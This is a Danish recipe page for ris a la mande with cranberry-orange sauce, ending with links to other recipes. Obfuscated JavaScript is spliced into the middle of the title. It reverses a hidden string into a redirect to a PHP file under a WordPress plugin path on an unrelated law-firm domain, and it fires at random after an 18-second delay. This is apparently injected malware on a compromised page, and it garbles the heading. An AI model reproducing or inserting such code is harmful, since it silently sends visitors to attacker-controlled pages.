Ris a la m$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ande – den klassiske juledessert

Ingen jul uden den klassiske juledessert over dem alle – ris a la mande. Her leger Trine Hahnemann ikke med selve ris a la manden, men med tilbehøret, iden hun serverer den med en syrlig og letbitter tranebær-appelsinsauce. Det tager noget af fedmen fra fløden, men det er også lidt farligt – så kan man nemlig spise endnu mere.

Opskrift på Ris a la mande med tranebær-appelsinsauce til 6 pers.

Risengrød:
250 g økologiske grødris
2,5 dl vand
1 l økologisk mælk
1 stang vanille, skåret igennem på langs
Salt
2 spsk sukker

Risalamande:
150 g smuttede mandler
1 portion risengrød
2 dl piskefløde

Tranebær- appelsinsauce*:
1 stang vanille
500 g tranebær
3 dl friskpresset appelsinsaft
½ usprøjtet appelsin, revet skal af
150 g rørsukker

Risengrød: Kom vandet i en gryde, og bring det i kog. Tilsæt risene, og lad dem koge et par minutter, mens der røres. Tilsæt vanillestang og mælk. Bring langsomt i kog, mens der røres hele tiden. Lad risene koge under låg ved meget svag varme i 30-35 minutter, rør hyppigt i dem. Tag gryden af varmen, fjern vanillestangen, og tilsæt salt og sukker. Køl derefter grøden helt ned, inden den sættes tildækket i køleskabet.

Risalamande: Hak mandlerne – husk at gemme 1 stor mandel til mandelgave. Rør mandlerne i risengrøden. Pisk fløden, og vend den forsigtigt i grøden. Flæk vanillestangen, og skrab kornene ud.

Tranebær-appelsinsauce: Kom tranebær, appelsinsaft, appelsinskal, sukker, vanillekorn og -stang i en gryde. Kog det op, og lad det derefter simre, til bærrene er bristede. Serveres lun til risalamanden.

*Du kan sagtens servere ris a la manden med en klassisk kirsebærsauce.

Vidste du?
At ris a la mande er en gammel opfindelse, som især blev udbredt i 1800-taller på lige fod med budding og fromage også lavet på ris. I 1920’erne sniger det franskklingende navn ris a la mande sig ind, og desserten bliver mere og mere udbredt som julens dessert.

Trends

Populære artikler

Passioncake

Konditoren Nikolaos Strangas oplever, at mange vælger at spise sushi nytårsaften. Efter sådan et måltid er denne cremede kage med et syrligt pift af passionsfrugt

Læs mere

Syltede oliven og oste

Det er desværre de færreste, som kan få fat på helt friskhøstede oliven, så denne opskrift bruger forskellige slags oliven på glas, der vendes med

Læs mere

Pappadoms med yoghurtdip

Pappadoms er tynde og sprøde indiske brød lavet af linsemel, og ofte er de krydret med alverdens varmende krydderier. Det er muligt at lave pappadoms

Læs mere

Macarons med kaffeganache

En af dessertkunstneren Nikolaos Strangas’ absolutte hitkager er macarons: Små franske makroner med fyld af fx mynte- eller jordbærganache. Det er lykkedes MAD&venner at lokke

Læs mere